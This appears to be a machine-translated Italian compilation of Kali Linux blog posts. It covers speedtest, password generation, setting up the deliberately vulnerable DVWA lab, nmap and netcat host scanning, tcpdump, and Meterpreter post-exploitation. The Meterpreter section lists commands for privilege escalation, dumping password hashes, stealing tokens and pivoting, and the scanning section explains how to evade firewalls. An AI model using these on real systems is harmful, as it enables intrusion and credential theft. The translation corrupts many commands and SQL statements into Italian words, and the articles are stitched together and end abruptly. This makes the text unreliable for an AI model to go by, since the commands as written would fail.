Dopo aver completato l'installazione, digita semplicemente " speedtest " dal terminale.

Nel caso in cui, se si desidera condividere il risultato dell'output di speedtest, il comando è:

Comando: speedtest –condividi

Che genera un file immagine .png contenente le statistiche di download e caricamento.

Per controllare l'elenco di tutti i server di test, puoi digitare:

Comando: speedtest –list | Di più

Sulla base dell'elenco sopra, puoi persino selezionare qualsiasi server per testare la velocità invece di quello geograficamente più vicino digitando il seguente comando:

Comando: speedtest –server 10538

Dove l'ID 10538 appartiene a " Hardwork Cable and Internet services pvt ltd. (Chandigarh, India) [10.00 Km]”

Generatore di password casuali semplici – Riga di comando (LINUX)

   

Un attacco di forza bruta si verifica quando tutte le possibili chiavi vengono confrontate con i dati crittografati finché non viene trovata la chiave giusta. Gli attacchi di forza bruta sono estremamente costosi dal punto di vista delle risorse e del tempo perché l'attaccante sta sfruttando le vulnerabilità nella crittografia sfruttando la lunghezza e la semplicità della chiave.

Una password è spesso basata su parole del dizionario, il che significa che lo spazio totale che un utente malintenzionato dovrebbe testare sarebbe costituito da tutte le parole in un dizionario corrispondente, rendendo l'ambito dell'ipotesi significativamente più piccolo di una password che utilizza caratteri casuali .

La migliore pratica per mitigare gli attacchi di forza bruta consiste nell'utilizzare chiavi lunghe e complicate, nonché timeout dopo una serie di tentativi e altri metodi per aggiungere più fattori di sicurezza.

Utilizzare il seguente comando per generare una password casuale di qualsiasi scelta (lunghezza):

Comando:  tr -dc A-Za-z0-9 < /dev/urandom | testa -c 8 | xargs

Puoi persino creare una funzione bash modificando il file /root/.bashrc e aggiungendo il seguente codice alla fine del file.

Codice:

# Generatore di password casuali
genpasswd() {
tr -dc A-Za-z0-9 < /dev/urandom | testa -c ${1:-8} | xarg
}

Quindi usa il comando " genpasswd " per generare una password casuale di tua scelta.

Ad esempio , se si desidera generare una password casuale di 15 cifre, il comando sarà " genpasswd 15 ".

Installa DVWA (Damn Vulnerable Web Application) in Kali Linux – Tutorial dettagliato

   

Damn Vulnerable Web App (DVWA) è un'applicazione Web PHP/MySQL che è dannatamente indifesa.

I suoi obiettivi principali sono di aiutare i professionisti della sicurezza a testare le loro abilità e strumenti in un ambiente legale, aiutare gli sviluppatori web a comprendere meglio i processi di protezione delle applicazioni web e aiutare insegnanti/studenti a insegnare/apprendere la sicurezza delle applicazioni web in un ambiente di classe .

Attacchi coperti da DVWA

Vantaggi di DVWA –

Oltre ad essere vulnerabile, DVWA ha alcune altre caratteristiche che aiutano nell'insegnamento o nell'apprendimento della sicurezza delle applicazioni web. Le funzionalità di sicurezza di DVWA possono essere divise in due parti, una è i livelli di sicurezza e l'altra è PHP-IDS .

I livelli di sicurezza sono denominati basso, medio, alto e impossibile. Ogni livello modifica lo stato di vulnerabilità di DVWA in tutta l'applicazione. Per impostazione predefinita, quando viene caricato DVWA, il livello di sicurezza è impostato su Impossibile .

PHP-IDS è un popolare sistema di rilevamento delle intrusioni PHP (IDS), noto anche come Web Application Firewall (WAF). PHP-IDS funziona filtrando qualsiasi input fornito dall'utente rispetto a una lista nera di codice potenzialmente dannoso. PHP-IDS è utilizzato in DVWA per servire come esempio dal vivo di come i WAF possono aiutare a migliorare la sicurezza nelle applicazioni web e in alcuni casi come i WAF possono essere aggirati.

Sono disponibili anche più macchine vulnerabili come bWAPP, Mutillidae, Metasplotiable, puoi anche provarle.

Il primo passo è scaricare il codice sorgente dell'applicazione DVWA da uno dei migliori database di repository open source, ad esempio Github , digitando il seguente comando nel terminale:

Comando: git clone https://github.com/ethicalhack3r/DVWA

Nota: assicurarsi che sia necessario scaricare il pacchetto DVWA di cui sopra all'interno della directory /var/www/html .

Successivamente, è necessario rinominare il file di configurazione del DVWA situato nella directory /config da config.inc.php.dist a config.inc.php come mostrato di seguito:

Comando: cd DVWA/config
Comando: mv config.inc.php.dist config.inc.php

E dai i permessi 777 alla directory DVWA principale digitando " chmod -R 777 DVWA/ "

In questo passaggio, è necessario eseguire un paio di comandi per creare un database e un utente.

Prima di accedere alla console MySQL, assicurati che il tuo servizio MySQL sia avviato ( service mysql start )

Per accedere a MySQL, il comando è:

Comando: mysql -u root -p

E quindi eseguire i seguenti comandi all'interno della console MySQL che crea un nuovo database denominato dvwa e user  user@127.0.0.0.1 con  pass password :

Comando: CREATE DATABASE dvwa;
Comando: CREATE USER 'user'@'127.0.0.1' IDENTIFICATO DA 'pass';
Comando: GRANT ALL ON dvwa.* TO 'user'@'127.0.0.1';
Comando: FLUSH PRIVILEGI;
Comando: ESCI

Inoltre, è necessario modificare il file di configurazione DVWA (che si trova in /config/config.inc.php ) e modificare i dettagli come da screenshot sottostante.

Successivamente, la cosa obbligatoria per eseguire DVWA è un modulo PHP-GD che è necessario per questa applicazione e può essere installato tramite  apt-get install php-gd.

Devi anche fare un'ultima modifica nel file php.ini (che si trova in /etc/php/7.2/apache2/php.ini ) con le seguenti modifiche:

allow_url_fopen = Attivo
allow_url_include = Attivo

E alla fine, avvia il tuo server Apache digitando " service apache2 start "

Accedi all'IP della tua macchina locale nel tuo browser ( http://192.168.20.137/DVWA ) e accedi con le credenziali predefinite che sono:

Nome utente – admin
Password – password

Successivamente, puoi vedere che soddisfa tutte le condizioni di cui ha bisogno DVWA.

Quando tutto va bene, fai semplicemente clic su " Crea/Ripristina database " che installa automaticamente l'applicazione DVWA.

La schermata sottostante è l'output, quando si fa clic sul pulsante " Crea/Ripristina database ".

Infine, imposta il tuo livello di sicurezza su " basso ", " medio ", " alto " o "b".

L' impostazione bassa imita un'applicazione Web vulnerabile, mentre l' impostazione alta imita un'applicazione Web sicura. Per identificare le vulnerabilità in un'applicazione web, devi attaccare un sistema vulnerabile.

DVWA può essere utilizzato in vari modi.

15 comandi di scansione host più utili: Kali Linux

   

Gli strumenti di rilevamento vengono utilizzati per raccogliere informazioni su una rete o un sistema di destinazione. Gli strumenti consentono di eseguire facilmente molti processi altrimenti manuali, come query whois, trasferimenti di zona DNS, query SNMP e altri processi di raccolta di informazioni.

Lettura consigliata: 19 utili comandi Nmap

Gli strumenti consentono di raccogliere record DNS, informazioni di contatto, informazioni sulla configurazione di rete, informazioni sull'host e identificare i sistemi attivi su una rete. Le informazioni raccolte ti aiuteranno a determinare dove si trova un obiettivo e chi lo controlla.

Tutte queste informazioni ti aiutano a creare un'immagine dell'ambiente che stai testando.

Ecco l'elenco dei 15 comandi di scansione host più utili per Kali Linux elencati di seguito:

Esempio 1 – Ricognizione attiva con Nmap

Gli aggressori possono eseguire la ricognizione della rete o eseguire il footprint della rete in molti modi diversi. Con l'aiuto di nmap, puoi facilmente eseguire ricognizioni attive contro qualsiasi bersaglio come mostrato di seguito:

Sintassi: nmap -sn -PE <target>

Esempio 2 – Trova host vivi con Netdiscover

NetDiscover è uno strumento molto accurato per trovare host su reti wireless o commutate. Può essere utilizzato sia in modalità attiva che passiva.

Sintassi – netdiscover -r <target>

Esempio 3 – Rilevamento host con CrackMapExec

CrackMapExec (noto anche come CME) è uno strumento post-sfruttamento che consente di automatizzare la valutazione della sicurezza delle grandi reti di Active Directory. Costruito pensando alla furtività, CME segue il concetto di " Vivere fuori dalla terra ": abusare delle funzionalità/protocolli Active Directory integrati per raggiungere la sua funzionalità e consentirgli di eludere la maggior parte delle soluzioni di protezione degli endpoint/IDS/IPS.

Per installare crackmapexec , devi eseguire il comando " apt-get install crackmapexec " nel tuo terminale Linux.

Se non si installa utilizzando il comando precedente, ti consigliamo di eseguire un " apt-get update && apt-get upgrade " per assicurarti di disporre dei pacchetti più recenti e migliori di Offensive Security e della squadra Kali.

Sintassi: crackmapexec <target>

Esempio 4 – Trova le 10 migliori porte aperte con Nmap (Fast Scan)

C'è molto di più che puoi fare con nmap.

Con l'opzione –top-ports , puoi facilmente identificare le prime 10 porte aperte in qualsiasi rete digitando il comando seguente:

Sintassi: nmap <target> –top-ports 10 –open

Attualmente, –top-ports seleziona le porte più popolari dal file nmap-services o dall'elenco delle porte fornito nella riga di comando.

Se una qualsiasi delle porte fornite sulla riga di comando non è elencata nel file nmap-services, non verrà scansionata.

Esempio 5 – Ricognizione DNS con Nmap (scansione lenta)

Per impostazione predefinita, un output di Nmap indica se un host è attivo o meno, ma non descrive i test di rilevamento a cui l'host ha risposto. Può essere utile comprendere il motivo per cui una porta è contrassegnata come aperta , chiusa o filtrata e perché l'host è contrassegnato come vivo . Questo può essere fatto usando il flag –reason. Ecco un esempio:

Sintassi:  nmap <target> -p- -sV –reason –dns-server ns

Le informazioni DNS per la rete di destinazione sono spesso informazioni di ricognizione molto utili. Le informazioni DNS sono informazioni pubblicamente disponibili e l'enumerazione dai server DNS non richiede alcun contatto con l'obiettivo e non avviserà l'azienda target di alcuna attività.

Esempio 6 – Scansione con Unicornscan

Unicornscan è un nuovo motore di raccolta e correlazione delle informazioni creato per e dai membri delle comunità di ricerca e test sulla sicurezza. È stato progettato per fornire un motore scalabile, accurato, flessibile ed efficiente.

L'impostazione predefinita di Unicornscan è una scansione TCP/UDP, a differenza di nmap. Per impostazione predefinita, invia una scansione SYN. Supponiamo di voler scansionare il nostro IP (192.168.169.138), cercando tutte le porte e inviando 3000 pacchetti al secondo che potremmo scrivere;

Sintassi: us -mT -Iv <target>:a -r 3000 -R 3 && us -mU -Iv <target>:a -r 3000 -R 3

Esempio 7 – TCP Syn Scan con Nmap

Il comando seguente determina se la porta è in ascolto. L'uso di questo comando è una tecnica chiamata scansione semiaperta.

Si chiama scansione semiaperta perché non si stabilisce una connessione TCP completa. Invece, invii solo un pacchetto SYN e attendi la risposta. Se ricevi una risposta SYN/ACK significa che la porta è in ascolto:

Con l'opzione -sV , puoi persino stampare il noto servizio nominato da un elenco di database di circa 2.200.

Sintassi:  nmap -sS -sV -T4 <target>

Esempio 8 – Scansione con HPING3

hping è un assemblatore/analizzatore di pacchetti TCP/IP orientato alla riga di comando. L'interfaccia è ispirata al comando ping unix, ma hping non è solo in grado di inviare richieste echo ICMP. Supporta anche i protocolli TCP, UDP, ICMP e RAW-IP, ha una modalità traceroute, la possibilità di inviare file tra un canale coperto e molte altre funzionalità.

Sintassi:  hping3 –scan known <target>

Esempio 9 – Scansione delle porte con Netcat

Netcat è un'utilità di rete in primo piano che legge e scrive i dati attraverso le connessioni di rete, utilizzando il protocollo TCP/IP. Sebbene netcat non sia probabilmente lo strumento più sofisticato per il lavoro (nmap è una scelta migliore nella maggior parte dei casi), può eseguire semplici scansioni delle porte per identificare facilmente le porte aperte digitando il comando seguente:

Sintassi: nc -nvz <target> 1-1024

Qui -n flag viene utilizzato per specificare che non è necessario risolvere l'indirizzo IP utilizzando DNS.

Esempio 10 – Banner Grabbing con Netcat

Netcat non è limitato all'invio di pacchetti TCP e UDP. Può anche ascoltare su una porta connessioni e pacchetti. Questo ci dà l'opportunità di connettere due istanze di netcat in una relazione client-server.

Con netcat, puoi persino cercare un particolare numero di porta su qualsiasi target.

Sintassi: nc -nv <destinazione> <numero porta>

Qui possiamo vedere che la porta 22 sul computer remoto rileva il nome e la versione del servizio.

Esempio 11 – Scansione della versione con Nmap

Sebbene Nmap faccia molte cose, la sua caratteristica più fondamentale è la scansione delle porte. Punta Nmap su una macchina remota e potrebbe dirti che le porte 25/tcp, 80/tcp e 53/udp sono aperte.

Utilizzando il suo database nmap-services di oltre 2.200 servizi noti, Nmap riporterebbe che quelle porte probabilmente corrispondono rispettivamente a un server di posta (SMTP), server web (HTTP) e server dei nomi (DNS).

Il sottosistema di scansione della versione di Nmap ottiene tutti questi dati collegandosi a porte aperte e interrogandole per ulteriori informazioni utilizzando sonde comprensibili ai servizi specifici. Ciò consente a Nmap di fornire una valutazione dettagliata di ciò che è realmente in esecuzione, piuttosto che solo quali numeri di porta sono aperti.

Sintassi: nmap -sV <target>

Esempio 12 – Scansione con Metasploit Framework

Al completamento di una scansione di base con nmap, puoi persino importare tutte le informazioni sugli host nel framework metasploit per un ulteriore sfruttamento salvando i risultati in formato .xml .

Sintassi: db_import <nomefile.xml>

Dopo aver importato il file, puoi semplicemente eseguire il comando hosts per elencare gli host presenti nel file xml.

Esempio 13 – Bypass del firewall

Con l'opzione -f e –mtu, puoi facilmente aggirare le restrizioni del firewall mediante la frammentazione dei pacchetti.

Sintassi:  nmap -f –mtu=512 <target>

L'opzione -f fa in modo che la scansione richiesta (incluse le scansioni ping) utilizzi piccoli pacchetti IP frammentati. L'idea è di suddividere l'intestazione TCP su diversi pacchetti per rendere più difficile per i filtri di pacchetti, i sistemi di rilevamento delle intrusioni e altri fastidi rilevare ciò che si sta facendo.

Esempio 14 – Scansione con Masscan

Questo è il port scanner Internet più veloce. Può eseguire la scansione dell'intera Internet in meno di 6 minuti, trasmettendo 10 milioni di pacchetti al secondo.

Un'altra caratteristica di Masscan è che, oltre a rilevare le porte aperte/chiuse, può anche acquisire semplici informazioni " banner ". Il vincolo che deve affrontare è che Masscan ha il proprio stack TCP/IP.

Quando il sistema locale riceve un SYN-ACK dal target rilevato, risponde con un pacchetto TST che interrompe la connessione prima che le informazioni del banner possano essere acquisite. Il modo più semplice per evitare ciò è assegnare a Masscan un indirizzo IP diverso:

Sintassi:  masscan <network> -p80 –banners –source-ip <target>

15 comandi essenziali di Meterpreter che tutti dovrebbero sapere

   

Un meterpreter è un payload avanzato, invisibile, sfaccettato ed estensibile dinamicamente che funziona iniettando DLL riflettente in una memoria di destinazione. Script e plug-in possono essere caricati dinamicamente in fase di esecuzione allo scopo di estendere l'attività post-sfruttamento.

Ciò include l'escalation dei privilegi, il dumping degli account di sistema, il keylogging, il servizio backdoor persistente, l'abilitazione del desktop remoto e molte altre estensioni. Inoltre, l'intera comunicazione della shell meterpreter è crittografata per impostazione predefinita.

Poiché Meterpreter fornisce un ambiente completamente nuovo, tratteremo alcuni dei comandi essenziali di Meterpreter per iniziare e aiutarti a familiarizzare con questo strumento potentissimo.

Comando 1: carica il file su Windows Target

Semplicemente, puoi caricare qualsiasi file dal tuo computer locale al tuo computer di destinazione remoto.

Sintassi: upload <file> <destinazione>

Nota: utilizzare l' opzione -r per caricare in modo ricorsivo le directory e il loro contenuto.

Comando 2 – Scarica il file da Windows Target

Il comando download scarica un file dalla macchina remota.

Sintassi: download <file> <percorso da salvare>

Nota l'uso delle doppie barre quando fornisci il percorso di Windows.

Nel caso in cui abbiamo bisogno di scaricare in modo ricorsivo un'intera directory, utilizziamo il comando download -r .

Comando 3: esegui il file .exe su Target

È anche possibile eseguire un'applicazione sulla macchina di destinazione eseguendo il comando execute.

La sintassi di questo comando è execute -f <file> [Options] , che esegue il file specificato sulla macchina di destinazione. Opzioni:

Sintassi: esegui -f <percorso>

Comando 4 – Crea un nuovo canale con CMD

Ad esempio, se si desidera eseguire il prompt dei comandi sulla macchina di destinazione, il comando sarà:

Sintassi: esegui -f cmd -c

Comando 5 – Mostra processi

Il comando ps visualizza un elenco di processi in esecuzione sulla destinazione.

Sintassi: ps

Comando 6: ottieni la shell CMD sul bersaglio

Il comando shell ti presenterà una shell standard sul sistema di destinazione.

Sintassi: guscio

Comando 7 – Ottieni privilegi di amministratore

Il comando getsystem ti darà i privilegi di sistema locale.

Sintassi: getsystem

Comando 8: scarica tutti gli hash con Hashdump

Usiamo la potenza della shell meterpreter e scarichiamo gli account di sistema correnti e le password detenute dal bersaglio. Questi verranno visualizzati in formato hash NTLM e possono essere annullati violando diversi strumenti e tecniche online.

Per riferimento e comprensione, visitare https://hashkiller.co.uk/ntlm-decrypter.aspx .

Sintassi: hash dump

L'output di ogni riga è nel seguente formato: Username:SID:LM hash:NTLM hash::: , quindi questa esecuzione ha prodotto 5 account utente: Administrator, Guest, HelpAssistant, Owner e SUPPORT_388945a0.

Comando 9 – Dump hash con Credcollect

Uno script simile credential_collector  raccoglie anche i token della macchina di destinazione.

Sintassi: eseguire credcollect

Comando 10 – Crea Port Forward

Il comando portfwd dall'interno della shell Meterpreter è più comunemente usato come tecnica di rotazione, consentendo l'accesso diretto a macchine altrimenti inaccessibili dal sistema attaccante.

L' opzione add aggiungerà il port forwarding all'elenco e creerà essenzialmente un tunnel.

Tieni presente che questo tunnel esisterà anche al di fuori della console Metasploit, rendendolo disponibile a qualsiasi sessione di terminale.

Sintassi: portfwd add -l <portnumber> -p <portnumber> -r <Target IP>

Comando 11 – Elimina port forward

Le voci vengono eliminate in modo molto simile al comando precedente.

Sintassi: portfwd delete -l <portnumber> -p <portnumber> -r <Target IP>

Nel caso in cui, se si desidera elencare tutte le voci, il comando è " portfwd list " e per rimuovere tutte le voci, è anche possibile utilizzare il comando " portfwd flush ".

Comando 12 – Cerca i file sulla destinazione

I comandi di ricerca forniscono un modo per individuare file specifici sull'host di destinazione. Il comando è in grado di cercare in tutto il sistema o in cartelle specifiche.

Ad esempio, se si desidera cercare tutti i file .txt sulla macchina di destinazione, il comando meterpreter è:

Sintassi: cerca -f *.txt

Comando 13 – Ottieni ID utente

L'esecuzione di getuid visualizzerà l'utente che il server Meterpreter è in esecuzione come sull'host.

Sintassi: getuid

Comando 14 – Ottieni informazioni di sistema

Il comando sysinfo ti fornirà le informazioni sul sistema di sfruttamento come nome, tipo di sistema operativo, architettura, lingua ecc.

Sintassi: sysinfo

Comando 15 – Impersona qualsiasi utente (manipolazione dei token)

Questo processo è molto utile quando si attacca un sistema distribuito come Microsoft Active Directory in cui avere solo l'accesso locale non è di grande vantaggio, ma essere in grado di passare alle credenziali per quel sistema, specialmente credenziali amministrative, è di grande valore.

La navigazione in incognito era originariamente un'applicazione autonoma che permetteva di impersonare i token utente quando si comprometteva con successo un sistema. Questo è stato integrato in Metasploit e infine in Meterpreter.

Sintassi: use incognito
Sintassi: list_tokens -u
Sintassi: impersonate_token “Macchina\\utente”

TCPDUMP: 25 esempi di comandi comuni

       

Tcpdump è un noto strumento di analisi dei pacchetti della riga di comando. Usando il comando tcpdump possiamo catturare i pacchetti TCP/IP live e questi pacchetti possono anche essere salvati in un file (pcap). Successivamente questi pacchetti acquisiti possono essere analizzati tramite il comando tcpdump.

Questo comando diventa molto utile quando si tratta di risolvere i problemi a livello di rete.

Questo strumento è disponibile nella maggior parte delle distribuzioni Linux, per Linux basato su Debian, e nel caso in cui si desideri installare, è possibile utilizzare il seguente comando per installare tcpdump

Comando : apt-get install tcpdump -y

Nota:  quando eseguiamo il comando tcpdump senza alcuna opzione, acquisirà i pacchetti di tutte le interfacce. Quindi, per interrompere o annullare il comando tcpdump, digita " ctrl+c ".

Sintassi del comando tcpdump

Come tutti i comandi del computer, il comando tcpdump funziona correttamente solo se la sintassi è corretta:

tcpdump [ -adeflnNOpqRStuvxX ] [ -c conteggio ]

[ -C dimensione_file ] [ -F file ]
[ -i interfaccia ] [ -m modulo ] [ -r file ]
[ -s snaplen ] [ -T tipo ] [ -U utente ] [ -w file ]
[ -E algo: segreto] [espressione]

RICORDARE -

In questo articolo, discuteremo come acquisire e analizzare i pacchetti utilizzando 25 diversi esempi pratici.

Quando eseguiamo il comando tcpdump senza alcuna opzione, acquisirà i pacchetti su tutte le interfacce, quindi per visualizzare tutte le possibili interfacce di rete, puoi utilizzare il seguente comando.

Comando: tcpdump -D

E per catturare i pacchetti da un'interfaccia specifica (ad esempio eth0 come mostrato nello screenshot sopra) usa il seguente comando con l' opzione -i .

Comando: tcpdump -i eth0

Nel caso in cui, se si desidera acquisire i pacchetti da tutte le interfacce, è possibile utilizzare la seconda opzione, ovvero tcpdump -i any

Per impostazione predefinita, il comando tcpdump verrà eseguito un numero infinito di volte fino a quando non viene annullato, ma se si desidera acquisire N no. di pacchetti, il comando è:

Comando: tcpdump -i eth0 -c 5

Per salvare tutti i pacchetti in un file, è necessario utilizzare l'opzione -w e assicurarsi che l'estensione del file sia .pcap in modo che qualsiasi protocollo di rete possa leggere il file.

Comando: tcpdump -i <interfaccia> -c <no. di pacchetti> -w <percorso>

Come sappiamo, per impostazione predefinita tcpdump cattura solo i primi 96 byte di un pacchetto. Ma supponiamo di dover acquisire i pacchetti nella loro dimensione completa, quindi è necessario passare l'opzione size -s con il suo argomento.

È possibile utilizzare l'opzione -s 0 per acquisire l'intero pacchetto o utilizzare il numero di byte con l'argomento -s.

Comando: tcpdump -i eth0 -s0

Se si desidera acquisire i pacchetti con il timestamp leggibile corretto, il comando è:

Comando: tcpdump -i eth0 -c 5 -tttt -w <nome file>

E per leggere questi pacchetti da un file, usa l'opzione -r come mostrato di seguito:

Comando: tcpdump -tttt -r <nome file>

Puoi anche specificare la dimensione dei pacchetti che desideri acquisire, ad esempio se desideri acquisire i pacchetti la cui dimensione è più lunga di N byte, quindi il comando è:

Comando: tcpdump -i eth0 maggiore 1024

Allo stesso modo, se vuoi catturare i pacchetti meno di N byte, allora il comando è:

Comando: tcpdump -i eth0 less 64

Inoltre, tcpdump supporta così tanti protocolli, puoi anche catturare i pacchetti che appartengono a un particolare protocollo come mostrato di seguito:

Comando: tcpdump -i eth0 arp

Ottieni tutti i pacchetti in base all'indirizzo IP, origine o destinazione o entrambi, utilizzando il seguente comando,

Comando: tcpdump host <IP>

Per acquisire i pacchetti dall'IP di origine, supponiamo di voler acquisire i pacchetti per 10.228.13.93, utilizzare il comando come segue.

Comando: tcpdump src 10.228.13.93

Per acquisire i pacchetti dall'IP di destinazione, supponiamo di voler acquisire i pacchetti per 192.168.20.136, utilizzare il comando come segue.

Comando: tcpdump dst 192.168.20.136

Supponiamo che tu voglia acquisire pacchetti per la porta 21 specifica (FTP), esegui il comando seguente specificando il numero di porta 21 come mostrato di seguito.

Comando: tcpdump -i eth0 porta 21

È anche possibile utilizzare un intervallo di porte per acquisire il traffico di rete con l'opzione portange 1-1000

Cattura i pacchetti per un particolare IP e porta di destinazione, il comando è:

Comando: tcpdump -i eth0 dst <IP> e porta 22

Se vuoi che il tuo output tcpdump mostri informazioni più dettagliate come, mostra tutti i flag e le intestazioni in tcp, possiamo usare le opzioni dettagliate.

Comando: tcpdump -i eth0 -vvv

Dove,

Supponiamo di volere l'indirizzo mac del mittente e del destinatario, quindi puoi includere l'opzione -e.

Comando: tcpdump -i eth0 -e -t

Con l'opzione -t, puoi escludere le informazioni sul timestamp.

Comando: tcpdump -i eth0 -t

se non si utilizza tcpdump con l'opzione -n , tutti gli indirizzi host del mittente e della destinazione saranno nel formato "nome", il che significa che tutti gli IP verranno visualizzati con i nomi host.

L'uso dell'opzione -n ​​con tcpdump disabiliterà la ricerca del nome. Questo visualizzerà tutto l'output nel formato dell'indirizzo IP del mittente e del destinatario.

Comando: tcpdump -i eth0 -n

Il comando tcpdump seguente con l'opzione -A visualizza il pacchetto in formato ASCII. È un formato di schema di codifica dei caratteri.

Comando: tcpdump -i eth0 -A

Il seguente comando con l'opzione -XX acquisisce i dati di ciascun pacchetto, inclusa la relativa intestazione a livello di collegamento in formato HEX e ASCII.

Comando: tcpdump -i eth0 -XX

Altri esempi pratici –

Output esadecimale: utile quando si desidera visualizzare il contenuto dei pacchetti in questione e spesso è meglio utilizzarlo quando si isolano alcuni candidati per un esame più approfondito.

Comando: tcpdump -nnvXSs 0 -c1 icmp

Trova l'agente utente HTTP

Comando: tcpump -vvAls0 | grep 'agente utente'

Richieste GET in chiaro –

Comando: tcpdump -vvAls0 | grep 'OTTIENI'

Trova intestazioni host HTTP –

Comando: tcpdump -vvAls0 | grep 'Host:'

Ottieni l'indirizzo IP di Linux dalla riga di comando - 5 modi

       

Cos'è l'indirizzo IP -

Un numero univoco composto da quattro parti separate da punti. Ogni dispositivo su Internet (e su qualsiasi rete) deve avere un indirizzo IP univoco per partecipare e farne parte. Un esempio di indirizzo IP è: 192.168.1.1 .

Questo articolo ti mostrerà come trovare l'indirizzo IP del tuo computer locale tramite la riga di comando in LINUX. Per ottenere il tuo IP interno, puoi eseguire i seguenti comandi:

Esempio 1 – Ifconfig

Il comando ifconfig viene utilizzato per configurare un'interfaccia di rete (ovvero per associare un indirizzo IP a un dispositivo di rete). Se esegui ifconfig senza alcun argomento della riga di comando, il comando visualizza le informazioni sulle interfacce di rete correnti.

Comando: ifconfig

O

Comando: ifconfig -a

Esempio 2 – indirizzo ip

Per ottenere le informazioni approfondite delle tue interfacce di rete come indirizzo IP, informazioni sull'indirizzo MAC, usa il seguente comando come mostrato di seguito.

Comando: indirizzo ip

Esempio 3 – nome host

Il comando hostname viene utilizzato per mostrare o impostare il nome host e il nome di dominio di un computer. È una delle utilità amministrative di rete più basilari.

Comando: hostname -I

Esempio 4 – nmcli

nmcli è uno strumento da riga di comando per controllare NetworkManager e segnalare lo stato della rete. Può essere utilizzato in sostituzione di nm-applet o altri client grafici.

Viene inoltre utilizzato per creare, visualizzare, modificare, eliminare, attivare e disattivare le connessioni di rete, nonché per controllare e visualizzare lo stato dei dispositivi di rete.

Comando: nmcli

Comando: mostra dispositivo nmcli

Esempio 5 – percorso ip

Il comando IP route viene utilizzato per configurare la route statica. Le route statiche sono il modo più sicuro di instradamento. Aumenteranno anche le prestazioni complessive della rete. Queste funzionalità sono estremamente utili nelle reti di piccole dimensioni.

Comando: ip route get 1.2.3.4 | awk '{print $7}'

E con l'aiuto dei seguenti comandi, puoi facilmente ottenere il tuo indirizzo IP pubblico esterno direttamente dalla riga di comando:

Comandi:

curl ipinfo.io/ip
curl ifconfig.me
dig +short myip.opendns.com @resolver1.opendns.com
curl checkip.dyndns.org
host myip.opendns.com resolver1.opendns.com

I 30 principali comandi NMAP di base per principianti

       

Nmap è uno strumento gratuito che può essere utilizzato per condurre vari tipi di scansioni sulle reti. Normalmente, quando le persone pensano a Nmap, presumono che sia usato per condurre una sorta di nefasta ricognizione della rete in preparazione di un attacco. Ma come con tutti i potenti strumenti, Nmap può essere utilizzato per molto di più che irrompere nelle reti.

Un aspetto molto importante di NMAP da ricordare è che queste scansioni devono essere eseguite con accesso root o amministratore a seconda del tipo di sistema che si sta utilizzando. Ciò è necessario perché le scansioni inviano pacchetti grezzi che richiedono l'accesso privilegiato al sistema.

Dei tipi di scansione elencati di seguito nella tabella, solo le scansioni connect e ftp bounce possono essere eseguite senza accesso privilegiato. L'ultima cosa da ricordare è che queste scansioni possono essere eseguite solo una alla volta, tranne se si esegue una scansione UDP e TCP contemporaneamente.

Diamo ora un'occhiata ai parametri che NMAP utilizza per eseguire i diversi tipi di scansioni del sistema. Ricorda che il formato della riga di comando di base per nmap è:

Sintassi: nmap <tipo di scansione> <opzioni> <target>

S.No

Titolo

Sintassi dei comandi

POC (click per ingrandire)

Selezione del bersaglio

1

Scansiona un singolo IP

nmap 192.168.20.128

Comandi Nmap

2

Scansiona un host

nmap www.example.com

Comandi Nmap

3

Scansiona un intervallo di IP

nmap 192.168.20.120-128

Comandi Nmap

4

Scansiona una sottorete

nmap 192.168.20.2/24

Comandi Nmap

5

Scansiona obiettivi da file di testo

nmap -iL ips.txt

Comandi Nmap

Selezione della porta

6

Scansiona una singola porta

nmap -p 22 192.168.20.128

Comandi Nmap

7

Scansiona una serie di porte

nmap -p 1-100 192.168.20.128

Comandi Nmap

8

Scansiona 100 porte comuni

nmap -F 192.168.20.128

Comandi Nmap

9

Scansiona tutte le porte

nmap -p- 192.168.20.128

Comandi Nmap

10

Specifica la scansione UDP o TCP

nmap -p U:137,T:139 192.168.20.128

Comandi Nmap

Tipi di scansione

11

Eseguire la scansione utilizzando la connessione TCP

nmap -sT 192.168.20.128

Comandi Nmap

12

Eseguire la scansione utilizzando la scansione TCP SYN

nmap -sS 192.168.20.128

Comandi Nmap

13

Scansiona le porte UDP

nmap -sU -p 123.161.162 192.168.20.128

Comandi Nmap

14

Scansiona le porte selezionate (Ignora rilevamento)

nmap -Pn -F 192.168.20.128

Comandi Nmap

Servizio e rilevamento del sistema operativo

15

Rileva sistema operativo e servizi

nmap -A 192.168.20.128

Comandi Nmap

16

Rilevamento del servizio standard

nmap -sV 192.168.20.128

Comandi Nmap

17

Rilevamento di servizi aggressivi

nmap -sV –intensità-versione 5 192.168.20.128

Comandi Nmap

Formati di output

18

Salva l'output predefinito su file

nmap -oN risultato.txt 192.168.20.128

Comandi Nmap

19

Salva i risultati come XML

nmap -oX risultatoxml.xml 192.168.20.128

Comandi Nmap

20

Salva risultati formattati (Grep)

nmap -oG formattable.txt 192.168.20.128

Comandi Nmap

21

Salva in tutti i formati

nmap -oA tutti i formati 192.168.20.128

Comandi Nmap

Motore di scripting

22

Esegui la scansione utilizzando gli script sicuri predefiniti

nmap -sV -sC 192.168.20.128

Comandi Nmap

23

Chiedi aiuto per uno script

nmap –script-help=ssl-heartbleed

Comandi Nmap

24

Eseguire la scansione utilizzando uno script specifico

nmap -sV -p 443 -script=ssl-heartbleed 192.168.20.133

Comandi Nmap

25

Aggiorna il database degli script

nmap –script-aggiornatob

Comandi Nmap

Alcuni utili script NSE

26

Cerca i riflettori UDP DDOS

nmap -sU -A -PN -n -pU:19,53,123,161 -script=ntp-monlist,dns-recursion,snmp-sysdescr 192.168.20.2/24

Comandi Nmap

27

Raccogli i titoli delle pagine dai server HTTP

nmap –script=http-titolo 192.168.20.128

Comandi Nmap

28

Ottieni intestazioni HTTP dei servizi web

nmap –script=intestazioni-http 192.168.20.128

Comandi Nmap

29

Trova app Web da percorsi noti

nmap –script=http-enum 192.168.20.128

Comandi Nmap

30

Trova i server Netbios esposti

nmap -sU –script nbtstat.nse -p 137 192.168.20.128

Comandi Nmap

La cosa da ricordare è che l'esecuzione di diversi tipi di scansioni può produrre risultati diversi in quanto i firewall possono limitare le risposte consentite dagli host specifici che protegge.

Come abilitare i certificati autofirmati per il server Web Apache locale - LINUX

       

Questo articolo descrive come abilitare rapidamente SSL per il server Web Apache locale in Linux. Ciò è stato fatto su una macchina virtuale Kali Linux della versione         .1, quella mantenuta e finanziata da Offensive Security .

Questa procedura potrebbe non funzionare o potrebbe differire su distribuzioni precedenti o diverse.

